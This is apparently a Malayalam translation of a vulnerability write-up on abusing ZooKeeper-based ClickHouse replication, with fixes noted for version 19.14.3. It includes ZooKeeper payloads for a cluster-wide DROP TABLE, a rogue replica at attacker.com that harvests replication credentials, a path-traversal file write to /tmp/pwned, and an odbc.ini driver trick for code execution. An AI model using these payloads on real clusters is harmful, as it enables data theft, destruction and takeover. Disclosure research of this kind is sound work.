เด เดฒเตเดเดจเด ClickHouse เดฑเตเดชเตเดฒเดฟเดเตเดเตเดทเตป เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเดฟเดฒเต เดเดฐเต เดชเตเดฐเดคเตเดฏเตเด เด เดชเดเดเดธเดพเดงเตเดฏเดคเดฏเตเดเต เดเดฅ เดชเดฑเดฏเตเด, เดเตเดเดพเดคเต เดเดเตเดฐเดฎเดฃ เดเดชเดฐเดฟเดคเดฒเด เดเดเตเดเดจเต เดตเดฟเดเดธเดฟเดชเตเดชเดฟเดเตเดเดพเดฎเตเดจเตเดจเตเด เดเดพเดฃเดฟเดเตเดเตเด.
เดตเดฒเดฟเดฏ เด
เดณเดตเดฟเดฒเตเดณเตเดณ เดกเดพเดฑเตเดฑ เดธเดเดญเดฐเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดเดฐเต เดกเดพเดฑเตเดฑเดพเดฌเตเดธเดพเดฃเต ClickHouse, เดฎเดฟเดเตเดเดชเตเดชเตเดดเตเด เดเดจเตเดจเดฟเดฒเดงเดฟเดเด เดชเดเตผเดชเตเดชเตเดเตพ เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจเต. เดเตเดฒเดฟเดเตเดเตเดนเตเดธเดฟเดฒเต เดเตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดเดเตเด เดฑเตเดชเตเดฒเดฟเดเตเดเตเดทเดจเตเด เดฎเตเดเดณเดฟเดฒเดพเดฃเต เดจเดฟเตผเดฎเตเดฎเดฟเดเตเดเดฟเดฐเดฟเดเตเดเตเดจเตเดจเดคเต
เดธเตเดฅเดฟเดฐเดธเตเดฅเดฟเดคเดฟ ZK เดเตปเดธเตเดฑเตเดฑเดพเดณเตเดทเดจเต เดเดงเดฟเดเดพเดฐเดฟเดเดค เดเดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ, เด เดคเดฟเดจเดพเตฝ เดเดพเดซเตเด, เดนเดกเตเดชเตเดชเต, เดเตเดฒเดฟเดเตเดเตเดนเตเดธเต เดเดจเตเดจเดฟเดต เดเตเดฐเดฎเตเดเดฐเดฟเดเตเดเดพเตป เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจ เดเดฏเดฟเดฐเดเตเดเดฃเดเตเดเดฟเดจเต ZK เดธเตเตผเดตเดฑเตเดเตพ เดชเตเดคเตเดตเดพเดฏเดฟ เดฒเดญเตเดฏเดฎเดพเดฃเต.
เดจเดฟเดเตเดเดณเตเดเต เดเดเตเดฐเดฎเดฃ เดเดชเดฐเดฟเดคเดฒเด เดเตเดฑเดฏเตเดเตเดเตเดจเตเดจเดคเดฟเดจเต, ZooKeeper เดเตปเดธเตเดฑเตเดฑเดพเตพ เดเตเดฏเตเดฏเตเดฎเตเดชเตเตพ เดจเดฟเดเตเดเตพ เดเดฒเตเดฒเดพเดฏเตเดชเตเดชเตเดดเตเด เดชเตเดฐเดพเดฎเดพเดฃเตเดเดฐเดฃเดตเตเด เด เดเดเตเดเดพเดฐเดตเตเด เดเตเตบเดซเดฟเดเตผ เดเตเดฏเตเดฏเดฃเด
เดคเตเตผเดเตเดเดฏเดพเดฏเตเด 0-เดฆเดฟเดตเดธเดคเตเดคเต เด เดเดฟเดธเตเดฅเดพเดจเดฎเดพเดเตเดเดฟเดฏเตเดณเตเดณ เดเดพเดต เดกเดฟเดธเตเดฐเดฟเดฏเดฒเตเดธเตเดทเดจเตเดเตพ เดเดฃเตเดเต, เดเดจเตเดจเดพเตฝ เดเดฐเต เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดเตเดเต ClickHouse เดฑเตเดชเตเดฒเดฟเดเตเดเตเดทเดจเดพเดฏเดฟ เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจ ZooKeeper-เดฒเตเดเตเดเต เดตเดพเดฏเดฟเดเตเดเดพเดจเตเด เดเดดเตเดคเดพเดจเตเด เดเดดเดฟเดฏเตเดฎเตเดจเตเดจเต เดธเดเตเดเตฝเดชเตเดชเดฟเดเตเดเตเด.
เดเตเดฒเดธเตเดฑเตเดฑเตผ เดฎเตเดกเดฟเตฝ เดเตเตบเดซเดฟเดเตผ เดเตเดฏเตเดฏเตเดฎเตเดชเตเตพ, ClickHouse เดกเดฟเดธเตเดเตเดฐเดฟเดฌเตเดฏเตเดเตเดเดกเต เดเตเดตเดฑเดฟเดเดณเต เดชเดฟเดจเตเดคเตเดฃเดฏเตเดเตเดเตเดจเตเดจเต /clickhouse/task_queue/ddl
.
เดเดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดจเดฟเดเตเดเตพ เดเดฐเต เดจเตเดกเต เดธเตเดทเตเดเดฟเดเตเดเตเดจเตเดจเต /clickhouse/task_queue/ddl/query-0001
เดเดณเตเดณเดเดเตเดเดคเตเดคเตเดเตเดชเตเดชเด:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
เด เดคเดฟเดจเตเดถเตเดทเด, เดนเตเดธเตเดฑเตเดฑเต1, เดนเตเดธเตเดฑเตเดฑเต2 เดเดจเตเดจเต เดเตเดฒเดธเตเดฑเตเดฑเตผ เดธเตเตผเดตเดฑเตเดเดณเดฟเตฝ เดเตเดธเตเดฑเตเดฑเต เดเตเดฌเดฟเตพ เดเดฒเตเดฒเดพเดคเดพเดเตเดเดชเตเดชเตเดเตเด. เดเตเดฐเดฟเดฏเตเดฑเตเดฑเต/เดเตพเดเตเดเตผ/เดกเตเดฐเตเดชเตเดชเต เดเตเดฆเตเดฏเดเตเดเตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเดเตเดเตเดจเตเดจเดคเตเด เดกเดฟเดกเดฟเดเตฝ เดชเดฟเดจเตเดคเตเดฃเดฏเตเดเตเดเตเดจเตเดจเต.
เดญเดฏเดเตเดเดฐเดฎเดพเดฏเดฟ เดคเตเดจเตเดจเตเดจเตเดจเตเดฃเตเดเต? เดเดจเตเดจเดพเตฝ เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดเตเดเต เดธเตเตผเดตเตผ เดตเดฟเดฒเดพเดธเดเตเดเตพ เดเดตเดฟเดเต เดจเดฟเดจเตเดจเต เดฒเดญเดฟเดเตเดเตเด?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
เดจเตเดกเตเดเตพ เดธเตเดทเตเดเดฟเดเตเดเดชเตเดชเตเดเตเด เดจเดฟเดฐเดเตพ ะธ เดฎเตเดฑเตเดฑเดพเดกเดพเดฑเตเดฑ.
เดเดณเตเดณเดเดเตเดเด /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
เด เดเตเดฒเดธเตเดฑเตเดฑเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต เดกเดพเดฑเตเดฑ เดฒเดฏเดฟเดชเตเดชเดฟเดเตเดเดพเตป เดเดดเดฟเดฏเตเดฎเต? เด
เดคเต, เดฑเตเดชเตเดฒเดฟเดเตเดเตเดทเตป เดชเตเตผเดเตเดเต เดเดฃเตเดเตเดเดฟเตฝ (TCP/9009
) เดธเตเตผเดตเดฑเดฟเตฝ chXX-address
เดซเดฏเตผเดตเดพเตพ เด
เดเดฏเตโเดเตเดเดฟเดฒเตเดฒ, เดชเดเตผเดชเตเดชเดฟเดจเตเดณเตเดณ เดชเตเดฐเดพเดฎเดพเดฃเตเดเดฐเดฃเด เดเตเตบเดซเดฟเดเตผ เดเตเดฏเตเดฏเดฟเดฒเตเดฒ. เดชเตเดฐเดพเดฎเดพเดฃเตเดเดฐเดฃเด เดเดเตเดเดจเต เดฎเดฑเดฟเดเดเดเตเดเดพเด?
เดเดฐเต เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดเตเดเต ZK-เตฝ เดจเดฟเดจเตเดจเต เดเดณเตเดณเดเดเตเดเด เดชเดเตผเดคเตเดคเดฟ เดเดฐเต เดชเตเดคเดฟเดฏ เดชเดเตผเดชเตเดชเต เดธเตเดทเตเดเดฟเดเตเดเดพเตป เดเดดเดฟเดฏเตเด /clickhouse/tables/01-01/foobar/replicas/chXX
เด
เตผเดคเตเดฅเด เดฎเดพเดฑเตเดฑเตเดเดฏเตเด เดเตเดฏเตเดฏเตเดจเตเดจเต host
.
เดเดณเตเดณเดเดเตเดเด /clickhouse/tables/01โ01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดฏเตเดเต เดธเตเตผเดตเดฑเดฟเตฝ เด
เดตเตผ เดเดเตเดเตเดเตเดฃเตเด เดกเดพเดฑเตเดฑเดฏเตเดเต เดเดฐเต เดชเตเดคเดฟเดฏ เดฌเตเดฒเตเดเตเดเต เดเดฃเตเดเตเดจเตเดจเต เดฎเดฑเตเดฑเต เดชเดเตผเดชเตเดชเตเดเดณเตเดเต เดจเดฟเดเตเดเตพ เดชเดฑเดฏเตเดฃเตเดเดคเตเดฃเตเดเต - ZK-เดฏเดฟเตฝ เดเดฐเต เดจเตเดกเต เดธเตเดทเตโเดเดฟเดเตเดเต /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX เดเดเดคเดพเดจเดฎเดพเดฏเดฟ เดตเดณเดฐเตเดจเตเดจ เดเตเดฃเตเดเตผ, เดเดตเดจเตเดฑเต เดฒเตเดเดฟเดฒเต เด
เดตเดธเดพเดจเดคเตเดคเตเดคเดฟเดจเตเดเตเดเดพเตพ เดตเดฒเตเดคเดพเดฏเดฟเดฐเดฟเดเตเดเดฃเด):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
เดเดตเดฟเดเต เดเดฑเดตเดฟเดเด_เดชเตเดฐเดคเดฟเดฐเตเดชเด - เดฎเตเดฎเตเดชเดคเตเดคเต เดเดเตเดเดคเตเดคเดฟเตฝ เดธเตเดทเตเดเดฟเดเตเด เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดฏเตเดเต เดชเดเตผเดชเตเดชเดฟเดจเตเดฑเต เดชเตเดฐเต, เดฌเตเดฒเตเดเตเดเต_เดเดกเดฟ - เดกเดพเดฑเตเดฑ เดฌเตเดฒเตเดเตเดเต เดเดกเดจเตเดฑเดฟเดซเดฏเตผ, เดจเตเดเตเด - "เดเตเดฑเตเดฑเต เดฌเตเดฒเตเดเตเดเต" เดเดฎเดพเตปเดกเต (เดเตเดเดพเดคเต
เด
เดเตเดคเตเดคเดคเดพเดฏเดฟ, เดเดฐเต เดชเดเตผเดชเตเดชเตเด เดฒเตเดเดฟเตฝ เดเดฐเต เดชเตเดคเดฟเดฏ เดเดตเดจเตเดฑเต เดตเดพเดฏเดฟเดเตเดเตเดเดฏเตเด เดเดฐเต เดฌเตเดฒเตเดเตเดเต เดกเดพเดฑเตเดฑ เดธเตเดตเตเดเดฐเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟ เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค เดธเตเตผเดตเดฑเดฟเดฒเตเดเตเดเต เดชเตเดเตเดเดฏเตเด เดเตเดฏเตเดฏเตเดจเตเดจเต (เดฑเตเดชเตเดฒเดฟเดเตเดเตเดทเตป เดชเตเดฐเตเดเตเดเตเดเตเดเตเตพ เดฌเตเดจเดฑเดฟ เดเดฃเต, HTTP-เดฏเตเดเต เดฎเตเดเดณเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดจเตเดจเต). เดธเตเตผเดตเตผ attacker.com
เด
เดญเตเดฏเตผเดคเตเดฅเดจเดเตพ เดฒเดญเดฟเดเตเดเตเด:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
เดเดตเดฟเดเต XXX เดเดจเตเดจเดคเต เด เดจเตเดเดฐเดฃเดคเตเดคเดฟเดจเตเดณเตเดณ เดชเตเดฐเดพเดฎเดพเดฃเตเดเดฐเดฃ เดกเดพเดฑเตเดฑเดฏเดพเดฃเต. เดเดฟเดฒ เดธเดพเดนเดเดฐเตเดฏเดเตเดเดณเดฟเตฝ, เดเดคเต เดชเตเดฐเดงเดพเดจ ClickHouse เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเตเด HTTP เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเตเด เดตเดดเดฟ เดกเดพเดฑเตเดฑเดพเดฌเตเดธเดฟเดฒเตเดเตเดเตเดณเตเดณ เดเดเตเดธเดธเต เดเดณเตเดณ เดเดฐเต เด เดเตเดเตเดฃเตเดเดพเดฏเดฟเดฐเดฟเดเตเดเดพเด. เดจเดฟเดเตเดเตพ เดเดฃเตเดเดคเตเดชเตเดฒเต, เดเดงเดฟเดเดพเดฐเดฟเดเดค เดเตเตบเดซเดฟเดเตผ เดเตเดฏเตเดฏเดพเดคเต เดคเดจเตเดจเต เดชเดเตผเดชเตเดชเตเดเตเดเตเดเดพเตป เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจ ZooKeeper เดเดชเตเดเตเดทเดฟเดเตเดเดคเดฟเดจเดพเตฝ เดเดเตเดฐเดฎเดฃ เดชเตเดฐเดคเดฒเด เดตเดณเดฐเต เดตเดฒเตเดคเดพเดฏเดฟ เดฎเดพเดฑเตเดจเตเดจเต.
เดเดฐเต เดชเดเตผเดชเตเดชเดฟเตฝ เดจเดฟเดจเตเดจเต เดเดฐเต เดฌเตเดฒเตเดเตเดเต เดกเดพเดฑเตเดฑ เดจเตเดเตเดจเตเดจเดคเดฟเดจเตเดฑเต เดชเตเดฐเดตเตผเดคเตเดคเดจเด เดจเตเดเตเดเดพเด, เดเดฒเตเดฒเดพ เดชเดเตผเดชเตเดชเตเดเดณเตเด เดถเดฐเดฟเดฏเดพเดฏ เดจเดฟเดฏเดจเตเดคเตเดฐเดฃเดคเตเดคเดฟเดฒเดพเดฃเตเดจเตเดจเตเด เด เดตเดฏเตเดเตเดเดฟเดเดฏเดฟเตฝ เดตเดฟเดถเตเดตเดพเดธเดฎเตเดฃเตเดเตเดจเตเดจเตเด เดชเตเตผเดฃเตเดฃ เดเดคเตเดฎเดตเดฟเดถเตเดตเดพเดธเดคเตเดคเตเดเต เดเดดเตเดคเดฟเดฏเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต.
เดฑเตเดชเตเดฒเดฟเดเตเดเตเดทเตป เดชเตเดฐเตเดธเดธเตเดธเดฟเดเดเต เดเตเดกเต
เดซเดเดเตเดทเตป เดซเดฏเดฒเตเดเดณเตเดเต เดเดฐเต เดฒเดฟเดธเตเดฑเตเดฑเต เดตเดพเดฏเดฟเดเตเดเตเดจเตเดจเต, เดคเตเดเตผเดจเตเดจเต เด เดตเดฏเตเดเต เดชเตเดฐเตเดเตพ, เดตเดฒเตเดชเตเดชเดเตเดเตพ, เดเดณเตเดณเดเดเตเดเดเตเดเตพ, เดคเตเดเตผเดจเตเดจเต เด เดต เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเดฒเตเดเตเดเต เดเดดเตเดคเตเดจเตเดจเต. เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดกเดพเดฑเตเดฑ เดเดเตเดเดจเต เดธเดเดญเดฐเดฟเดเตเดเดชเตเดชเตเดเตเดจเตเดจเตเดตเตเดจเตเดจเต เดชเตเดฐเดคเตเดฏเตเดเด เดตเดฟเดตเดฐเดฟเดเตเดเตเดจเตเดจเดคเต เดฎเตเดฒเตเดฏเดตเดคเตเดคเดพเดฃเต.
เดจเดฟเดฐเดตเดงเดฟ เดเดชเดกเดฏเดฑเดเตโเดเดฑเดฟเดเดณเตเดฃเตเดเต /var/lib/clickhouse
(เดเตเตบเดซเดฟเดเดฑเตเดทเตป เดซเดฏเดฒเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เดกเดฟเดซเตเตพเดเตเดเต เดธเตเดฑเตเดฑเตเดฑเตเดเต เดกเดฏเดฑเดเตเดเดฑเดฟ):
เดซเตเดฒเดพเดเตเดเตพ - เดฑเตเดเตเดเตเตผเดกเดฟเดเดเดฟเดจเตเดณเตเดณ เดกเดฏเดฑเดเตเดเดฑเดฟ
tmp - เดคเดพเตฝเดเตเดเดพเดฒเดฟเด เดซเดฏเดฒเตเดเตพ เดธเดเดญเดฐเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดกเดฏเดฑเดเตเดเดฑเดฟ;
user_files โ เด
เดญเตเดฏเตผเดคเตเดฅเดจเดเดณเดฟเดฒเต เดซเดฏเดฒเตเดเดณเตเดณเตเดณ เดชเตเดฐเดตเตผเดคเตเดคเดจเดเตเดเตพ เด เดกเดฏเดฑเดเตโเดเดฑเดฟเดฏเดฟเตฝ เดชเดฐเดฟเดฎเดฟเดคเดชเตเดชเตเดเตเดคเตเดคเดฟเดฏเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต (เดเดจเตเดฑเต เดเดเตเดเตโเดซเตเดฒเตเด เดฎเดฑเตเดฑเตเดณเตเดณเดตเดฏเตเด);
เดฎเตเดฑเตเดฑเดพเดกเดพเดฑเตเดฑ - เดชเดเตเดเดฟเด เดตเดฟเดตเดฐเดฃเดเตเดเดณเตเดณเตเดณ sql เดซเดฏเดฒเตเดเตพ;
preprocessed_configs - เดจเดฟเดจเตเดจเต เดกเตเดฑเดฟเดตเตเดฑเตเดฑเตเดตเต เดเตเตบเดซเดฟเดเดฑเตเดทเตป เดซเดฏเดฒเตเดเตพ เดชเตเดฐเตเดธเดธเตเดธเต เดเตเดฏเตเดคเต /etc/clickhouse-server
;
เดกเดพเดฑเตเดฑ - เดกเดพเดฑเตเดฑเดฏเตเดฎเตเดคเตเดคเตเดณเตเดณ เดฏเดฅเดพเตผเดคเตเดฅ เดกเดฏเดฑเดเตโเดเดฑเดฟ, เด เดธเดพเดนเดเดฐเตเดฏเดคเตเดคเดฟเตฝ เดเดฐเต เดกเดพเดฑเตเดฑเดพเดฌเตเดธเดฟเดจเตเด เดเดฐเต เดชเตเดฐเดคเตเดฏเตเด เดเดชเดกเดฏเดฑเดเตโเดเดฑเดฟ เดเดตเดฟเดเต เดธเตเดทเตโเดเดฟเดเตเดเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต (เดเดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต /var/lib/clickhouse/data/default
).
เดเดฐเต เดเตเดฌเดฟเดณเดฟเดจเตเด, เดกเดพเดฑเตเดฑเดพเดฌเตเดธเต เดกเดฏเดฑเดเตโเดเดฑเดฟเดฏเดฟเตฝ เดเดฐเต เดเดชเดกเดฏเดฑเดเตโเดเดฑเดฟ เดธเตเดทเตโเดเดฟเดเตเดเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต. เดเดฐเต เดจเดฟเดฐเดฏเตเด เด
เดจเตเดธเดฐเดฟเดเตเดเต เดเดฐเต เดชเตเดฐเดคเตเดฏเตเด เดซเดฏเดฒเดพเดฃเต
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
เดเดฐเต เดฌเตเดฒเตเดเตเดเต เดกเดพเดฑเตเดฑ เดชเตเดฐเตเดธเดธเตเดธเต เดเตเดฏเตเดฏเตเดฎเตเดชเตเตพ เด เดคเต เดชเตเดฐเดฟเดฒเตเดณเตเดณ เดซเดฏเดฒเตเดเตพ เดฒเดญเดฟเดเตเดเตเดฎเตเดจเตเดจเต เดฑเตเดชเตเดฒเดฟเดเตเด เดชเตเดฐเดคเตเดเตเดทเดฟเดเตเดเตเดจเตเดจเต, เด เดต เดเดฐเต เดคเดฐเดคเตเดคเดฟเดฒเตเด เดธเดพเดงเตเดเดฐเดฟเดเตเดเตเดจเตเดจเดฟเดฒเตเดฒ.
เดเดฐเต เดซเดเดเตโเดทเดจเดฟเตฝ เดซเดฏเตฝ_เดจเดพเดฎเดคเตเดคเดฟเดจเตเดฑเต เดธเตเดฐเดเตเดทเดฟเดคเดฎเดฒเตเดฒเดพเดคเตเดค เดธเดเดฏเตเดเดจเดคเตเดคเตเดเตเดเตเดฑเดฟเดเตเดเต เดถเตเดฐเดฆเตเดงเดฏเตเดณเตเดณ เดตเดพเดฏเดจเดเตเดเดพเดฐเตป เดเดคเดฟเดจเดเด เดเตเดเตเดเดฟเดเตเดเตเดฃเตเดเดพเดเตเด. WriteBufferFromFile
. เด
เดคเต, เดเดชเดฏเตเดเตเดคเต เด
เดตเดเดพเดถเดเตเดเดณเตเดณเตเดณ FS-เดฒเต เดเดคเต เดซเดฏเดฒเดฟเดฒเตเดเตเดเตเด เด
เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดคเดฎเดพเดฏ เดเดณเตเดณเดเดเตเดเด เดเดดเตเดคเดพเตป เดเดคเต เดเดฐเต เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดฏเต เด
เดจเตเดตเดฆเดฟเดเตเดเตเดจเตเดจเต clickhouse
. เดเดคเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต, เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟ เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดเตเดเตเดจเตเดจ เดชเดเตผเดชเตเดชเต เด
เดญเตเดฏเตผเดคเตเดฅเดจเดฏเตเดเตเดเต เดเดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดชเตเดฐเดคเดฟเดเดฐเดฃเด เดจเตฝเดเดฃเด (เดฎเดจเดธเตเดธเดฟเดฒเดพเดเตเดเดพเตป เดเดณเตเดชเตเดชเดคเตเดคเดฟเดจเดพเดฏเดฟ เดฒเตเตป เดฌเตเดฐเตเดเตเดเตเดเตพ เดเตเตผเดคเตเดคเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
เดเดคเตเดคเตเดเตเดฐเดฒเดฟเดจเต เดถเตเดทเดตเตเด ../../../../../../../../../tmp/pwned
เดซเดฏเตฝ เดเดดเตเดคเดชเตเดชเตเดเตเด /tmp/pwned เดเดณเตเดณเดเดเตเดเดคเตเดคเตเดเต hellofromzookeeper.
เดซเดฏเตฝ เดฑเตเดฑเตเดฑเดฟเดเดเต เดถเตเดทเดฟ เดฑเดฟเดฎเตเดเตเดเต เดเตเดกเต เดเดเตโเดธเดฟเดเตเดฏเตเดทเดจเดพเดเตเดเดฟ เดฎเดพเดฑเตเดฑเตเดจเตเดจเดคเดฟเดจเต (RCE) เดจเดฟเดฐเดตเดงเดฟ เดเดชเตเดทเดจเตเดเตพ เดเดฃเตเดเต.
RCE-เดฏเดฟเดฒเต เดฌเดพเดนเตเดฏ เดจเดฟเดเดฃเตเดเตเดเตเดเตพ
เดชเดดเดฏ เดชเดคเดฟเดชเตเดชเตเดเดณเดฟเตฝ, ClickHouse เดเตเดฐเดฎเตเดเดฐเดฃเดเตเดเดณเตเดณเตเดณ เดกเดฏเดฑเดเตเดเดฑเดฟ เดเดชเดฏเตเดเตเดคเต เด
เดตเดเดพเดถเดเตเดเดณเตเดเต เดธเดเดญเดฐเดฟเดเตเดเต เดเตเดฒเดฟเดเตเดเตเดนเตเดธเต เดธเตเดฅเดฟเดฐเดธเตเดฅเดฟเดคเดฟ. เดเตเดฐเดฎเตเดเดฐเดฃ เดซเดฏเดฒเตเดเตพ XML เดซเดฏเดฒเตเดเดณเดพเดฃเต, เด
เดคเต เดธเตเดตเดจเด เดเดฐเดเดญเดฟเดเตเดเตเดฎเตเดชเตเตพ เดตเดพเดฏเดฟเดเตเดเตเดเดฏเตเด เดคเตเดเตผเดจเตเดจเต เดเดพเดทเต เดเตเดฏเตเดฏเตเดเดฏเตเด เดเตเดฏเตเดฏเตเดจเตเดจเต /var/lib/clickhouse/preprocessed_configs
. เดฎเดพเดฑเตเดฑเดเตเดเตพ เดธเดเดญเดตเดฟเดเตเดเตเดฎเตเดชเตเตพ, เด
เดต เดตเตเดฃเตเดเตเด เดตเดพเดฏเดฟเดเตเดเตเดจเตเดจเต. เดจเดฟเดเตเดเตพเดเตเดเต เดเดเตเดธเดธเต เดเดฃเตเดเตเดเตเดเดฟเตฝ /etc/clickhouse-server
เดเดฐเต เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดเตเดเต เดธเตเดตเดจเตเดคเดฎเดพเดฏเดฟ เดธเตเดทเตเดเดฟเดเตเดเดพเตป เดเดดเดฟเดฏเตเด root
.
เดเดกเดฟเดฌเดฟเดธเดฟ เดฎเตเดคเตฝ เดเตผเดธเดฟเด เดตเดฐเต
เดเดฐเต เดชเดพเดเตเดเตเดเต เดเตปเดธเตเดฑเตเดฑเดพเตพ เดเตเดฏเตเดฏเตเดฎเตเดชเตเตพ, เดเดฐเต เดเดชเดฏเตเดเตเดคเดพเดตเต เดธเตเดทเตเดเดฟเดเตเดเดชเตเดชเตเดเตเดจเตเดจเต clickhouse
, เดเดจเตเดจเดพเตฝ เด
เดคเดฟเดจเตเดฑเต เดนเตเด เดกเดฏเดฑเดเตเดเดฑเดฟ เดธเตเดทเตเดเดฟเดเตเดเดฟเดเตเดเดฟเดฒเตเดฒ /nonexistent
. เดเดจเตเดจเดฟเดฐเตเดจเตเดจเดพเดฒเตเด, เดฌเดพเดนเตเดฏ เดจเดฟเดเดฃเตเดเตเดเตเดเตพ เดเดชเดฏเตเดเดฟเดเตเดเตเดฎเตเดชเตเตพ, เด
เดฒเตเดฒเตเดเตเดเดฟเตฝ เดฎเดฑเตเดฑเต เดเดพเดฐเดฃเดเตเดเดณเดพเตฝ, เด
เดกเตเดฎเดฟเดจเดฟเดธเตเดเตเดฐเตเดฑเตเดฑเตผเดฎเดพเตผ เดเดฐเต เดกเดฏเดฑเดเตเดเดฑเดฟ เดธเตเดทเตเดเดฟเดเตเดเตเดจเตเดจเต /nonexistent
เดเดชเดฏเตเดเตเดคเดพเดตเดฟเดจเต เดจเตฝเดเตเดเดฏเตเด เดเตเดฏเตเดฏเตเด clickhouse
เดเดคเดฟเดฒเตเดเตเดเต เดเดดเตเดคเดพเดจเตเดณเตเดณ เดเดเตเดธเดธเต (SSZB! เดเดเดฆเตเดถเด. เดตเดฟเดตเตผเดคเตเดคเดเตป).
ClickHouse เดชเดฟเดจเตเดคเตเดฃเดฏเตเดเตเดเตเดจเตเดจเต odbc-bridge
, เด
เดคเดฟเดจเดพเตฝ เด
เดญเตเดฏเตผเดคเตเดฅเดจเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต เดกเตเดฐเตเดตเตผ เดชเดพเดคเตเดคเต เดตเตเดฏเดเตเดคเดฎเดพเดเตเดเดพเตป เดเดจเดฟ เดธเดพเดงเตเดฏเดฎเดฒเตเดฒ. เดเดจเตเดจเดพเตฝ เดฎเตเดเดณเดฟเตฝ เดตเดฟเดตเดฐเดฟเดเตเด เดฆเตเตผเดฌเดฒเดค เดเดชเดฏเตเดเดฟเดเตเดเต เดเดฐเต เดเดเตเดฐเดฎเดฃเดเดพเดฐเดฟเดเตเดเต เดนเตเด เดกเดฏเดฑเดเตเดเดฑเดฟเดฏเดฟเดฒเตเดเตเดเต เดเดดเตเดคเดพเตป เดเดดเดฟเดฏเตเดฎเต?
เดจเดฎเตเดเตเดเต เดเดฐเต เดซเดฏเตฝ เดเดฃเตเดเดพเดเตเดเดพเด ~/.odbc.ini
เดเดคเตเดชเตเดฒเตเดณเตเดณ เดเดณเตเดณเดเดเตเดเดคเตเดคเดฟเตฝ:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
เดชเดฟเดจเตเดจเต เดธเตเดฑเตเดฑเดพเตผเดเตเดเดชเตเดชเดฟเตฝ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
เดฒเตเดฌเตเดฐเดฑเดฟ เดฒเตเดกเต เดเตเดฏเตเดฏเตเด test.so
เดเตเดเดพเดคเต RCE เดฒเดญเดฟเดเตเดเต (เดจเดจเตเดฆเดฟ
เดเดตเดฏเตเด เดฎเดฑเตเดฑเต เดเตเดเตเดชเดพเดเตเดเดณเตเด ClickHouse เดชเดคเดฟเดชเตเดชเต 19.14.3-เตฝ เดชเดฐเดฟเดนเดฐเดฟเดเตเดเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต. เดจเดฟเดเตเดเดณเตเดเต ClickHouse, ZooKeepers เดเดจเตเดจเดฟเดตเดฏเต เดชเดฐเดฟเดชเดพเดฒเดฟเดเตเดเตเด!
เด เดตเดฒเดเดฌเด: www.habr.com